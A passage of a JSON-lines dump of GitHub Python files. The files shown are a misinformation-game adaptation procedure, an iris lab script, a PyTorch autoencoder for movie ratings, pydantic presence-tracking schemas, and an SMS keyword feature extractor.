MG.\n\t\t\tMG.games[player].utilities_from_str(\n\t\t\t\tlines[\n\t\t\t\tplayer * num_SPs:\n\t\t\t\tplayer * num_SPs + num_SPs\n\t\t\t\t]\n\t\t\t)\n\n\t\tMG.utilities_generated = True # Update MG's state.\n\n\t\tMG.compute_nme_dict() \t\t# Compute the nmes (calls GAMBIT).\n\t\tMG.compute_pos_vecs() \t\t# From dictionary to list of tuples.\n\t\tMG.clingo_compile_format() # Compute the description of the game in clingo format.\n\t\tMG.clingo_compile_nme() \t# Compile a list of clingo-predicates describing the nmes\n\t\t\n\t\t## Compute Knoweledge\n\t\tanswer_set = clingo.addaptation_step(MG.get_clingo_format(), \"\")\n\t\tMG.compute_knowledge_from_answer_set(answer_set)\n\n\t\t##############################\n\t\t# Initialize Adaptation Node #\n\t\t##############################\n\t\tunique_key = preprocess_mg(MG, MG.get_strategies())\n\t\tself.root = AdaptationNode(\"0\", list(unique_key), unique_key, MG) # Create an Addaptation Tree Node and make it point\n\t\t# to the new MG.\n\t\tself.root_initialized = True # Update state.\n\n\t\t##############################\n\t\t# Initialize Data Structures #\n\t\t##############################\n\t\tself.mis_game_pool[self.root.get_unique_key()] = MG # The root will always be added to the dictionary.\n\n\t\tself.queue.append(self.root) # Insert node to queue.\n\n\t\tself.node_list.append(self.root) # Insert to node list.\n\n\t\tself.tasks += 1\n\n\n\n\n\n\t## Generate Root Randomly\n\tdef root_random(self, num_players, strategies, max_utility):\n\t\tassert self.root_initialized == False\n\n\t\t## check the GAMBIT method\n\t\t# Check whether the designated method supports num_player-player games\n\t\tassert num_players <= gambit.method_max_players_list[self.gambit_pac.get_default_method_val()], \\\n\t\t\t\"Error: The designated NE computation method does NOT support \" + str(num_players) + \"-player games!\"\n\n\t\t#####################\n\t\t# Initialise Domain #\n\t\t#####################\n\t\tself.domain.initialise(num_players, strategies)\n\n\t\t#####################\n\t\t# Initialize the MG #\n\t\t#####################\n\t\tMG = MisinformationGame(self.gambit_pac, self.debugging, self.domain,\n\t\t\t\t\t\t\t\tstr(self.uniq_mg_counter), num_players,\n\t\t\t\t\t\t\t\tstrategies) # Initialize the MG, num_players & strategies vector.\n\t\tself.uniq_mg_counter += 1\n\n\t\tMG.generate_random_utilities(max_utility) # Generate Utilities\n\n\t\tMG.compute_nme_dict() # Compute the nmes (calls GAMBIT).\n\t\tMG.compute_pos_vecs() # From dictionary to list of tuples.\n\t\tMG.clingo_compile_format() # Compute the description of the game in clingo format.\n\t\tMG.clingo_compile_nme() # Compile a list of clingo-predicates describing the nmes\n\t\t\n\t\t## Compute Knoweledge\n\t\tanswer_set = clingo.addaptation_step(MG.get_clingo_format(), \"\")\n\t\tMG.compute_knowledge_from_answer_set(answer_set)\n\t\t\n\t\t\n\t\t##############################\n\t\t# Initialize Adaptation Node #\n\t\t##############################\n\t\t## Preprocessing\n\t\tunique_key = preprocess_mg(MG, MG.get_strategies())\n\t\tself.root = AdaptationNode(\"0\", list(unique_key), unique_key, MG) # Create an Addaptation Tree Node and make it point\n\t\t# to the new MG.\n\t\tself.root_initialized = True # Update state.\n\n\t\t##############################\n\t\t# Initialize Data Structures #\n\t\t##############################\n\t\tself.mis_game_pool[self.root.get_unique_key()] = MG # The root will always be added to the dictionary.\n\n\t\tself.queue.append(self.root) # Insert node to queue.\n\n\n\t\tself.node_list.append(self.root) # Insert to node list.\n\n\t\tself.tasks += 1\n\n\n\n\n\t########################\n\t# Adaptation Procedure #\n\t########################\n\n\n\t###############################################################\n\t# adaptation_step()\n\t# ------------------------------------------------------------\n\t# This method handles the already computed Adaptation Node.\n\t# If the node \"points\" to the same MG as it's parent, then:\n\t# \ta) we stop the procedure for this node,\n\t#\tb) try to add it to the stable set\n\t# Else:\n\t#\ta) we append the child to the Queue\n\t#\tb) and continue the adapt. proc. for the child node.\n\t###############################################################\n\tdef _adaptation_step(self, parent):\n\n\t\t## get the dictionary of nmes to pos vectors\n\t\tnmes_dict = parent.get_nme_dict() # A dictionary from the NMEs to the derived pos_vecs\n\t\tclingo_nme_dict = parent.get_clingo_nme_dict() # A dictionary from the NMEs to the *prerdices* of\n\t\t# the derived pos_vecs\n\n\t\t# Id counter\n\t\ti = 1\n\n\t\t###################\n\t\t# Create Requests #\n\t\t###################\n\t\t#######################################################################\n\t\t# The 1st phase of the adaptation step.\n\t\t# In this step we create queries of the form:\n\t\t#\t(\n\t\t#\t\trequest_parent,\t\t# a pointer to the parent node\n\t\t#\t\trequest_nme,\t\t# the NME as tuple of real numbers\n\t\t#\t\ttuple_pos_vec,\t\t# a pos. vec. corresponding to the NME,\n\t\t#\t\t\t\t\t\t\t# as tuple of integers\n\t\t#\t\tpred_pos_vec\t\t# the pos. vec. as a clingo predicate\n\t\t#\t)\n\t\t# We use these requests to check wheather the resulting MG, when the\n\t\t# update operation is applied, is a) different of its parent and b)\n\t\t# to compute the new MG.\n\t\t#######################################################################\n\n\t\tRequests = []\n\t\tvisited_pos_vecs = set()\t\t\t\t\t# 2 NMEs may have the same pos. vecs.\n\t\t\t\t\t\t\t\t\t\t\t\t\t# therefore, we keep a set of the already\n\t\t\t\t\t\t\t\t\t\t\t\t\t# considered pose vecs.\n\t\tfor nme in nmes_dict.keys():\n\t\t\tfor pos in range(len(nmes_dict[nme])):\n\n\t\t\t\trequest_parent = parent\t\t\t\t\t\t# a pointer to the parent node\n\t\t\t\trequest_nme = nme\t\t\t\t\t\t\t# the NME as tuple of real numbers\n\t\t\t\ttuple_pos_vec = nmes_dict[nme][pos]\t\t\t# one of the position vectors corresponding\n # to the NME\n\t\t\t\tpred_pos_vec = clingo_nme_dict[nme][pos]\t # the pos. vec. as CLINGO predicate\n\t\t\t\t\n ## Compute the changed_from_parent bit\n\t\t\t\tparents_path = request_parent.get_nme_path()\n\t\t\t\tchanged_from_parent = not tuple_pos_vec in parents_path\n\n\n\t\t\t\tif tuple_pos_vec in visited_pos_vecs:\t\t# if we considered the pos. vec. in a previous\n\t\t\t\t\tcontinue\t\t\t\t\t\t\t\t# NME, continue\n\t\t\t\telse:\n\t\t\t\t\tvisited_pos_vecs.add(tuple_pos_vec)\n\n\n\t\t\t\trequest_tuple = tuple([request_parent, request_nme, tuple_pos_vec, pred_pos_vec, changed_from_parent])\n\t\t\t\tRequests.append(request_tuple)\n\n\t\t##################\n\t\t# Handle Results #\n\t\t##################\n\t\t## Do the Adaptation (sub) Step\n\t\tfor result_tuple in Requests:\n\n\t\t\t## ceate node id\n\t\t\tnew_node_id = parent.get_node_id() + str(i)\n\t\t\ti += 1\n\n\t\t\t## call adaptation_substep()\n\t\t\tchild = self._adaptation_substep(new_node_id, parent, result_tuple[2], result_tuple[4], result_tuple[3])\n\n\t\t\t## Append to node list\n\t\t\tself.node_list_lock.acquire()\n\t\t\tself.node_list.append(child)\n\t\t\tself.node_list_lock.release()\n\n\n\t\t\t## If the child did not change from father\n\t\t\t## then it is a leaf (and belongs to the terminal set)!\n\t\t\tif not child.is_changed_from_father():\n\n\t\t\t\t## Append to Leaves\n\t\t\t\tself.leaves_lock.acquire()\n\t\t\t\tself.leaves.append(child)\n\t\t\t\tself.leaves_lock.release()\n\n\t\t\t\t## Add to terminal Set\n\t\t\t\tself.terminal_set_lock.acquire()\n\t\t\t\tself.terminal_set.add(child.get_unique_key())\n\t\t\t\tself.terminal_set_lock.release()\n\n\t\t\t\t## Continue\n\t\t\t\tcontinue\n\n\n\t\t\t## If fast_mode == True, and we have encounter the child\n\t\t\t## on another branch, do not add the node in the queue\n\t\t\tif self.fast_mode_on and not child.is_new_mg(): continue\n\n\n\t\t\t## If non of the above holds, add the new child to the queue,\n\t\t\t## to explore this branch further.\n\t\t\t# Acquire lock\n\t\t\tself.queue_lock.acquire()\n\n\t\t\t# Append to queuue\n\t\t\tself.queue.append(child) ## BFS\n\t\t\t# self.queue.insert(0, child)\t\t\t## uncomments this for DFS\n\t\t\t\t\t\t\t\t\t\t\t\t\t## (no visible change in time consumption for DFS)\n\n\t\t\t## Tasks counter\n\t\t\tself.tasks_lock.acquire()\n\t\t\tself.tasks += 1\n\t\t\tself.tasks_lock.release()\n\n\n\t\t\t# Wake the theads that wait the condition vaiable\n\t\t\tself.queue_empty.notify_all()\n\n\t\t\t# Rrelease the lock\n\t\t\tself.queue_lock.release()\n\n\n\n\t\t################\n\t\t# Compute SMEs #\n\t\t################\n\n\t\tnot_changed_pos_vecs = set()\n\t\tfor result_tuple in Requests:\n\t\t\tif not result_tuple[4]: not_changed_pos_vecs.add(result_tuple[2])\n\n\t\tfor nme in nmes_dict.keys():\n\t\t\tis_sme = True\n\t\t\tfor pos in range(len(nmes_dict[nme])):\n\t\t\t\tis_sme = is_sme and nmes_dict[nme][pos] in not_changed_pos_vecs\n\n\t\t\t## If is_sme, add to SMEs\n\t\t\tif is_sme:\n\t\t\t\tself.smes_lock.acquire()\n\t\t\t\tself.smes.add(nme)\n\t\t\t\tself.smes_lock.release()\n\n\n\n\t###############################################################\n\t# adaptation_substep()\n\t# ------------------------------------------------------------\n\t# This method returns a valid AdaptationNode, given it's parent\n\t# and a NME.\n\t# We have the following 4 cases:\n\t#\n\t#\t1. \tNME in parent's NMEs path, then the child *is* its\n\t#\t\tparent. Observe that the opposite direction does not\n\t#\t\thold.\n\t#\n\t#\t2. \tThe 1st does not hold. We need to call clingo to\n\t#\t\tdecipher. Check weather the predicate unchanged/0 is in\n\t#\t\tthe answer set. If it is, then also the node \"points\"\n\t#\t\tto its parent.\n\t#\n\t# The (1), (2) will conclude in stopping the procedure for this\n\t# branch. The following cases will allow the adapt. proc. to\n\t# continue for this branch. But it is possible we have already\n\t# computed the child MG in another branch.\n\t#\n\t# Check if child's unique key is already in\n\t# self.mis_game_pool.keys().\n\t#\t3.\tIf, true, make the child point to the\n\t#\t\tself.mis_game_pool[unique_key]\n\t#\n\t#\t4. Else, create a new MG.\n\t#\n\t###############################################################\n\tdef _adaptation_substep(self, node_id, parent, tuple_pos_vec, changed_from_parent, pred_pos_vec):\n\t\tparents_path = parent.get_nme_path()\n\t\tparents_unique_key = parent.get_unique_key()\n\t\tnew_path = parents_path + [tuple_pos_vec]\n\t\tnew_unique_key = ax.path_to_set(new_path)\n\n\t\t# (Old) Case 1 & 2\n\t\tif not changed_from_parent:\n\t\t\tparents_MG = parent.get_mg_pointer()\n\t\t\treturn AdaptationNode(node_id, new_path, parents_unique_key, parents_MG, parent, False, False)\n\n\t\t# Case 3\n\t\tif self.mg_already_computed(new_unique_key):\n\t\t\tMG = self.mis_game_pool[new_unique_key]\n\t\t\treturn AdaptationNode(node_id, new_path, new_unique_key, MG, parent, True, False)\n\n\t\t# Case 4\n\t\tnew_MG = self._new_mis_game(parent, new_unique_key, pred_pos_vec)\n\t\treturn AdaptationNode(node_id, new_path, new_unique_key, new_MG, parent, True, True)\n\n\n\n\t#####################################################\n\t# Input:\n\t#\t1. parent:\t\tAdaptation Node\n\t#\t2. clingo_nme:\tA clingo predicate describing\n\t#\t\t\t\t\tthe nme\n\t#\n\t# Action:\n\t#\t* Adding a new MG to the pool\n\t#\n\t# Output:\n\t#\t* A pointer to the MG created\n\t#####################################################\n\tdef _new_mis_game(self, parent, new_unique_key, pred_pos_vec):\n\n\t\t## compute the uniq id for the MG\n\t\tmg_uniq_id = str(self.uniq_mg_counter)\n\t\tself.uniq_mg_counter += 1\n\n\t\t## get the number of players\n\t\tmg_num_players = parent.get_num_players()\n\n\t\t## get the strategies vector\n\t\tmg_strategies = parent.get_strategies()\n\n\t\t## create the Misinformation Game\n\t\tMG = MisinformationGame(\n\t\t\tself.gambit_pac,\n\t\t\tself.debugging,\n\t\t\tself.domain,\n\t\t\tmg_uniq_id,\n\t\t\tmg_num_players,\n\t\t\tmg_strategies\n\t\t)\n\n\t\t## add the new MG to the pool\n\t\tself.mis_game_pool[new_unique_key] = MG\n\t\t## Release the lock, acquired in mg_alerady_computed()\n\t\t## This way we achieve a) no (considerable) waiting time,\n\t\t## b) no redundant calculations.\n\t\tself.mis_game_pool_lock.release()\n\n\t\t## compute utilities from clingo\n\t\tparent_mg = parent.get_mg_pointer()\n\n\t\tclingo_call_start_t = time.time()\n\t\tanswer_set = clingo.addaptation_step(parent_mg.get_clingo_format(), pred_pos_vec)\n\t\tclingo_call_end_t = time.time()\n\t\tself.debugging.clingo_call(clingo_call_end_t - clingo_call_start_t)\n\n\t\tMG.utilities_from_clingo(answer_set)\n\n\t\t## we compute everything beforehand\n\t\t## compute nmes\n\t\tMG.compute_nme_dict()\n\t\tMG.compute_pos_vecs()\n\n\t\t## compute clingo description etc.\n\t\tMG.clingo_compile_format()\n\t\tMG.clingo_compile_nme()\n\n\n\t\t## return the new nme path set\n\t\treturn MG\n\t\n\tdef find_gretest_knowledge(self):\n\t\tassert self.adaptation_procedure_completed == True\n\t\tmg_pool_list = list(self.mis_game_pool.values())\n\t\tmg_pool_list.sort(key=lambda MG1: MG1.get_knowledge_percentage())\n\t\t\n\t\tself.max_knowledge_percentage \t\t= mg_pool_list[-1].get_knowledge_percentage()\n\t\tself.max_knowledge_percentage_mg_id\t= mg_pool_list[-1].get_game_id()\n\t\n\t## Adaptation Procedure\n\tdef adaptation_procedure(self):\n\t\tassert self.adaptation_procedure_completed == False\n\t\tassert self.root_initialized == True\n\n\t\tself.max_it = math.prod(self.root.get_strategies())\n\t\tself.max_it = 2 ** self.max_it\n\n\t\ttotal_start_t = time.time()\n\t\tcpu_start_t = time.process_time()\n\n\t\tfor i in range(self.num_mult_threads_traversal): self.workers[i].start()\n\n","repo_name":"merkouris148/adaptation-procedure-misinformation-games","sub_path":"adaptation_procedure.py","file_name":"adaptation_procedure.py","file_ext":"py","file_size_in_byte":32613,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"74718286592","text":"import numpy as np\n\ntesting_data = None\ntraining_data = None\n\ndef readFileFunction():\n f=open(\"../iris.csv\", \"r\")\n contents = f.readlines()\n for i in range(len(contents)):\n contents[i] = contents[i][:-1]\n contents[i] = contents[i].split(',')\n for j in range(len(contents[i])-1):\n contents[i][j] = np.float64(contents[i][j]) \n return contents\n\ndef Problem1():\n global training_data, testing_data\n ret_list = readFileFunction()\n training_data = np.array(ret_list[0:40]+ret_list[50:90]+ret_list[100:140])\n testing_data = np.array(ret_list[40:50]+ret_list[90:100]+ret_list[140:150])\n SolveForMu(40,4,training_data[0:40])\n\n\ndef SolveForMu(N, num_feat, class_data):\n mu = np.array([0,0,0,0])\n for i in range(N):\n for j in range(num_feat):\n mu[j] += class_data[i][j] #adds each row of feature data to final mu vector\n for k in range(num_feat):\n mu[k] = mu[k]/N \n return mu\n\nProblem1()","repo_name":"CN120/COEN_140-MachineLearning","sub_path":"Lab 3/Chris Nelson_Lab3.py","file_name":"Chris Nelson_Lab3.py","file_ext":"py","file_size_in_byte":981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"20693587746","text":"import numpy as np\nimport pandas as pd\nimport torch\nimport torch.nn\n# from torch.autograd import Variable\n\nmovies = pd.read_csv('ml-1m/movies.dat', sep='::',\n header=None, engine='python', encoding='latin-1')\n# Just to do stuff with the weird input file\n\nusers = pd.read_csv('ml-1m/users.dat', sep='::', header=None,\n engine='python', encoding='latin-1')\n\nratings = pd.read_csv('ml-1m/ratings.dat', sep='::',\n header=None, engine='python', encoding='latin-1')\n\n# print(movies, users, ratings)\n\ntrainingSet = np.array(pd.read_csv(\n 'ml-100k/u1.base', delimiter='\\t'), dtype='int')\nprint(trainingSet)\ntestSet = np.array(pd.read_csv('ml-100k/u1.test', delimiter='\\t'), dtype='int')\nprint(testSet)\n\ntotalUsers = int(max(max(trainingSet[:, 0]), max(testSet[:, 0])))\n# Num of users; max movie id\ntotalMovies = int(max(max(trainingSet[:, 1]), max(testSet[:, 1])))\n\nprint(totalUsers, totalMovies)\n\n\ndef parse(arr):\n # Basically makes an array of users x movies\n data = []\n for i in range(1, totalUsers+1):\n movies = arr[:, 1][arr[:, 0] == i]\n # All movies ids if id == 1 or whatever the use number is\n ratings = arr[:, 2][arr[:, 0] == i]\n usrRate = np.zeros(totalMovies)\n usrRate[movies - 1] = ratings\n # For zero-indexing...\n data.append(list(usrRate))\n return data\n\n\n# print(parse(trainingSet))\n# print(parse(testSet))\n\n# Tensors == array of a single data type\n# Like a PyTorch array...\n# Same thing with TF\n\ntrainingSet = torch.FloatTensor(parse(trainingSet))\ntestSet = torch.FloatTensor(parse(testSet))\n\n'''\nWe're going to make a subclass of torch.nn!\n'''\n\n\nclass StackedAutoEncoder(torch.nn.Module): # This is for inheritance!\n # Will have several layers...\n def __init__(self, ):\n # Use super to get inherited functions\n super(StackedAutoEncoder, self).__init__()\n # Parameters: class, init function\n layer1Neurons = 20\n layer2Neurons = 10\n self.lyr1 = torch.nn.Linear(\n totalMovies, layer1Neurons) # From the super class\n # Parameters: Number of movies, nodes / features in first hidden layer\n # Parameters: neurons[layer-1], neurons[layer]\n self.lyr2 = torch.nn.Linear(\n layer1Neurons, layer2Neurons)\n self.fullyConnectedLayer3 = torch.nn.Linear(\n layer2Neurons, layer1Neurons)\n self.fullyConnectedLayer4 = torch.nn.Linear(layer1Neurons, totalMovies)\n # Those are our layers...\n self.activation = torch.nn.Sigmoid() # Sigmoid function\n\n def forwardPropagation(self, inputVector):\n '''\n We'll encode it two and decode it twice.\n '''\n predictedRating = self.activation(self.fullyConnectedLayer1(\n inputVector)) # Activates the neurons of the input as part of layer one\n # value is the encoded vector!!!\n predictedRating = self.activation(\n self.fullyConnectedLayer2(predictedRating))\n # Another encoder\n predictedRating = self.activation(\n self.fullyConnectedLayer3(predictedRating))\n # Now we're decoding!\n # No need for activation as it is the output\n predictedRating = self.fullyConnectedLayer4(predictedRating)\n # Final decoding!!!\n return predictedRating\n\n\nsae = StackedAutoEncoder()\n\ncriterion = torch.nn.MSELoss()\noptimiser = torch.optim.RMSprop(sae.parameters(), lr=0.01, weight_decay=0.5)\n\n# Super awesome PyTorch stuff!\nepochs = 200\nfor epoch in range(1, epochs+1): # Each epoch...\n trainingLoss = 0\n # Then find the number of users who rated at least one movie to keep memory efficient\n s = 0. # Makes s a float for the root mean square error; num of users who rated at least 1 movie\n for user in range(totalUsers):\n inp = torch.autograd.Variable(trainingSet[user]).unsqueeze(\n 0) # Creates a batch of a single input vector\n tar = inp.clone()\n if ((torch.sum(tar.data) > 0) > 0):\n output = sae.forwardPropagation(inp)\n # print(inp, output)\n tar.require_grad = False # Does not compute a gradient with respect to the target\n # We can say that if there's no ans, then it shouldn't change the loss function\n output[tar == 0] = 0\n loss = criterion(output, tar)\n # All movies with non-zero ratings\n meanCorrector = totalMovies/float(torch.sum(tar.data > 0) + 1e-10)\n loss.backward() # + or -; picks direction\n trainingLoss += np.sqrt(loss.data * meanCorrector)\n s += 1.\n optimiser.step() # Picks intensity of change to weights\n print(f\"Epoch {epoch}\\nLoss: {trainingLoss/s}\")\n\n\n# Super awesome PyTorch stuff!\\\ntestingLoss = 0\n# Then find the number of users who rated at least one movie to keep memory efficient\ns = 0. # Makes s a float for the root mean square error; num of users who rated at least 1 movie\nfor user in range(totalUsers):\n inp = torch.autograd.Variable(trainingSet[user]).unsqueeze(\n 0) # Creates a batch of a single input vector\n tar = torch.autograd.Variable(testSet[user]).unsqueeze(0)\n if ((torch.sum(tar.data) > 0) > 0):\n output = sae.forwardPropagation(inp)\n # print(inp, output)\n tar.require_grad = False # Does not compute a gradient with respect to the target\n # We can say that if there's no ans, then it shouldn't change the loss function\n output[tar == 0] = 0\n loss = criterion(output, tar)\n # # All movies with non-zero ratings\n meanCorrector = totalMovies/float(torch.sum(tar.data > 0) + 1e-10)\n # loss.backward() # + or -; picks direction\n testingLoss += np.sqrt(loss.data * meanCorrector)\n s += 1.\n # optimiser.step() # Picks intensity of change to weights\nprint(f\"Loss: {testingLoss/s}\")\n","repo_name":"GenericP3rson/CrohnPredictor","sub_path":"auto.py","file_name":"auto.py","file_ext":"py","file_size_in_byte":5902,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"32021583931","text":"from pydantic import BaseModel, UUID4\nfrom datetime import datetime\nfrom tortoise.contrib.pydantic import pydantic_model_creator\nfrom models import PresenceHistory\n\n\nclass PresenceHistoryCheckIn(BaseModel):\n profile_id: UUID4\n status: str\n checkin_location: str\n checkin_image: str\n\n\nclass PresenceHistoryUpdate(BaseModel):\n profile_id: UUID4\n status: str\n check_in: datetime\n check_out: datetime\n checkin_location: str\n checkout_location: str\n checkin_image: str\n checkout_image: str\n\n\nclass PresenceHistoryCheckOut(BaseModel):\n checkout_location: str\n checkout_image: str\n\n\nclass PresenceDetailsResponse(BaseModel):\n id: UUID4\n checkin_location: str\n checkout_location: str | None = None\n checkin_image: str\n checkout_image: str | None = None\n\n class Config:\n from_attributes = True\n\n\nclass PresenceHistoryResponse(pydantic_model_creator(PresenceHistory, exclude=[\"created_at\", \"updated_at\"])):\n presence_detail: list[PresenceDetailsResponse]\n\n class Config:\n from_attributes = True\n","repo_name":"denima03/presence","sub_path":"app/schemas.py","file_name":"schemas.py","file_ext":"py","file_size_in_byte":1065,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"15068173665","text":"# -*- coding: utf-8 -*-\nfrom sklearn.preprocessing import RobustScaler, StandardScaler\nfrom nltk.parse.stanford import StanfordParser\nfrom nltk import tree\nimport nltk\nimport pandas as pd\nimport logging\nimport numpy as np\nimport pdb\nimport re\nfrom nltk.wsd import lesk\nfrom re import finditer\nimport os\nimport editdistance\nimport multiprocessing as mp\nHALF_WINDOW = 28\n\nmodals = set(['can', 'could', 'may', 'might', 'will', 'would', 'shall',\n 'should', 'must'])\nquestions = set(['who', 'what', 'where', 'when', 'which', 'how', 'why'])\ntemporal = set(['tonight', 'today', 'tomorrow', 'min', 'month', 'day',\n 'afternoon', 'morning', 'sunday', 'monday', 'tuesday', \n 'wednesday','thursday', 'friday',\n 'saturday','january','february','march',\n 'april','may','june','july','august','september','october','november','december'])\n\n#st_parser = StanfordParser('libs/stanford-parser-full-2016-10-31/stanford-parser.jar',\n# 'libs/stanford-parser-full-2016-10-31/stanford-parser-3.7.0-models.jar')\n\n\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger(__name__)\n\ndef get_words(filename):\n words = []\n try:\n with open(filename, 'r') as fn:\n words = fn.read().split('\\n')\n except EnvironmentError as e:\n logger.warn(\"Failed to read file {}\".format(filename))\n return filter(None, words)\n\n\nfire_regex = '|'.join(get_words('fire.words'))\nhealth_regex = '|'.join(get_words('health.words'))\npersonal_regex = '|'.join(get_words('personal.words'))\nwsdf = pd.read_csv('wsd_features', header=0, delimiter='\\t')\nwsd_words = wsdf['Word'].tolist()\n\ndef chunk_helper(chunk):\n chunks = []\n chunk_tags = set()\n start = 0\n try:\n while True:\n curr_i = chunk.index('[', start)\n curr_chunk = chunk[curr_i+1:chunk.index(']', start)]\n curr_chunk_split = curr_chunk.split(' ')\n chunks.append((curr_chunk_split[0], ' '.join(curr_chunk_split[1:])))\n chunk_tags.add(curr_chunk_split[0])\n start = chunk.index(']', curr_i) + 1\n except:\n pass\n return chunks, chunk_tags\n\n\ndef do_chunk(x):\n splitted = x.split('[.,\\&]')\n for split in splitted:\n chunks, tags = chunk_helper(split)\n for tag in tags:\n if tag == 'NP':\n break\n # VP found before NP\n if tag == 'VP':\n return 1\n return 0\n\n\ndef traverse_tree(deps, level, nodes = {}):\n if level > 4:\n return 0\n for subtree in deps:\n if type(subtree) == tree.Tree and subtree.label() == 'S':\n ref = 0\n for child in subtree:\n if child.label() == 'NP':\n ref = ref | 2\n if child.label() == 'VP':\n ref = ref | 1\n return ref\n else:\n return 0\n if type(subtree) == tree.Tree:\n return traverse_tree(subtree, level + 1)\n\n\ndef parser(x):\n deps = st_parser.parse_one([x])\n status = traverse_tree(deps, 0)\n val = 1 if status == 1 else 0\n return val\n\n\ndef lev_match(ref_list, msg_words):\n for w in msg_words:\n for r in ref_list:\n if editdistance.eval(w, r) <= 2:\n return 1\n\n\ndef personal(x,dependency_tree, dependency_relations):\n regex = personal_regex\n if re.search(regex, x):\n return 1\n return 0\n\n\ndef fire(x,dependency_tree, dependency_relations):\n regex = fire_regex\n foundMatch = 0\n matchw = None\n\n if(dont_imperative(x)):\n return 0\n if(keywords_general(x)):\n return 0\n return check_negation(regex, x, dependency_tree, dependency_relations)\n\n if foundMatch and matchw in wsd_words:\n if validate_wsd(matchw, x):\n return 1\n else:\n return 0\n return foundMatch\n\n\ndef health(x,dependency_tree, dependency_relations):\n regex = health_regex\n foundMatch = 0\n matchw = None\n if(dont_imperative(x)):\n return 0\n if(keywords_general(x)):\n return 0\n return check_negation(regex, x, dependency_tree, dependency_relations)\n if foundMatch and matchw in wsd_words:\n if validate_wsd(matchw, x):\n return 1\n else:\n return 0\n return foundMatch\n\n\ndef emer(x, dependency_tree, dependency_relations):\n return fire(x,dependency_tree, dependency_relations)+health(x,dependency_tree, dependency_relations)\n\n\ndef todo(x, dependency_tree, dependency_relations):\n return meet_suggest(x, dependency_tree, dependency_relations)+date(x, dependency_tree, dependency_relations)\n\n\ndef request_immedi(x, dependency_tree, dependency_relations):\n regex = 'pls| please | now | asap | min |immediate'\n foundMatch = 0\n if(dont_imperative(x)):\n return 0\n if(keywords_general(x)):\n return 0\n return check_negation(regex, x, dependency_tree, dependency_relations)\n return foundMatch\n\n\ndef modal_verbs(x):\n words = set(x.split())\n if len(words.intersection(modals)) > 0:\n return 1\n return 0\n\n\ndef meet_suggest(x, dependency_tree, dependency_relations):\n if(dont_imperative(x)):\n return 0\n if(keywords_general(x)):\n return 0\n regex = 'what |schedule| should |shall| once |may be| be \\\n available |meet| can | let'\n return check_negation(regex, x, dependency_tree, dependency_relations)\n\n\ndef date(x, dependency_tree, dependency_relations):\n words = set(x.split())\n match = list(words.intersection(temporal))\n if len(match) > 0:\n return 1\n #if lev_match(temporal, words):\n # return 1\n regex = '[0-9]-[0-9]|morning|afternoon|evening|midnight|month|day|year|week|[0-9]\\.[0-9]|[0-9]\\s*[ap]m|[0-9]\\s*[ap].m|[0-9]\\s*min|[0-9]\\s*hours|[0-9]:[0-9]|[0-9]\\s*today|tomorrow|0th|[4-9]th|1st|2nd|3rd|[0-9]/[0-9]|o\\'clock'\n return check_negation(regex, x, dependency_tree, dependency_relations)\n\n\ndef msg_len_word(x, dependency_tree, dependency_relations):\n return len(x)\n\n\ndef puncts(x, dependency_tree, dependency_relations):\n z = re.findall('[:,\\.\\/#=\\?:0-9\\~<>!\\-]|\\+', x)\n if z:\n return len(z)\n return 0\n\n\ndef msg_len_char(x, dependency_tree, dependency_relations):\n return len(x.split())\n\n\ndef capitall(x):\n capitals = 0\n for l in x:\n if l.isupper():\n capitals += 1\n return capitals\n\n\ndef capitaln(x):\n capitals = 0\n for l in x:\n if l.isupper():\n capitals += 1\n return capitals / max(len(x.split()),1)\n\n\ndef question(x):\n words = set(x.split())\n if len(words.intersection(questions)) > 0:\n return 1\n if re.search('?',x):\n return 1\n return 0\n\n\ndef call(x, dependency_tree, dependency_relations):\n x = x.lower()\n if(dont_imperative(x)):\n return 0\n if(keywords_general(x)):\n return 0\n regex = 'call|immediate|bring|asap|reply'\n #z = re.findall(regex,x)\n foundMatch = 0\n return check_negation(regex, x, dependency_tree, dependency_relations)\n return foundMatch\n\n\ndef numeric(x, dependency_tree, dependency_relations):\n z = re.findall('[0-9]+|X+', x)\n if z:\n return len(z)\n return 0\n\n\ndef check_negation(regex, x, dependency_tree, dependency_relations):\n foundMatch = 0\n if(len(dependency_relations) != 0 and len(dependency_relations[0]) != 0):\n for match in finditer(regex, x):\n foundMatch = 1\n if(traverse_dep_tree(match.group(),dependency_tree,dependency_relations)):\n return 0\n return foundMatch\n\n\ndef traverse_dep_tree(keyword,tree,relations):\n siblings = []\n parent = None\n stack = [[tree,parent,siblings]]\n neg = False\n\n #iterative DFS\n while(stack != []):\n root = stack.pop()\n label = None\n if(type(root[0]) == nltk.Tree):\n label = root[0].label()\n # print(label)\n if(label == keyword):\n neg |= check_relation(root[1],root[2],relations)\n neg |= check_relation(label,root[0][:],relations)\n else:\n label = root[0]\n # print(label)\n if(label == keyword):\n neg |= check_relation(root[1],root[2],relations)\n\n if(type(root[0]) == nltk.Tree):\n for i in reversed(root[0]):\n stack.append([i,root[0].label(),root[0][:]])\n\n return neg\n\n\ndef check_relation(parent,children,relations):\n children = [child.label() if(type(child) == nltk.Tree) else child for child in children]\n relations = relations[0]\n # print(parent,children)\n for relation in relations:\n for child in children:\n if(parent == relation[0][0] and child == relation[2][0] and relation[1] == 'neg'):\n return True\n return False\n\ndef dont_imperative(x):\n if(len(x) != 0):\n first_word = x.strip().split()[0].lower()\n if(first_word == \"don't\" or first_word == \"dont\"):\n return True\n return False\n\n#keywords strongly suggesting a general sentence\ndef keywords_general(x):\n keywords = [\"never\",\"ever\"]\n x = x.lower().split()\n if any(key in x for key in keywords):\n return True\n else:\n return False\n\n\ndef tense(x,dependency_tree, dependency_relations):\n # 0 - past, 1 - present, 2 - future, 3 - unkown\n sent_tense = 3\n if(len(dependency_relations) == 0 or len(dependency_relations[0]) == 0):\n return sent_tense\n found_verb = None\n present_verbs = ['VB', 'VBG', 'VBP', 'VBZ']\n past_verbs = ['VBD', 'VBN']\n future_verbs = ['MD']\n for relation in dependency_relations[0]:\n for verb in past_verbs:\n if(verb in relation[0][1] or verb in relation[2][1]):\n sent_tense = 0\n if(sent_tense != 3):\n break\n for verb in future_verbs:\n if(verb in relation[0][1] or verb in relation[2][1]):\n sent_tense = 2\n if(sent_tense != 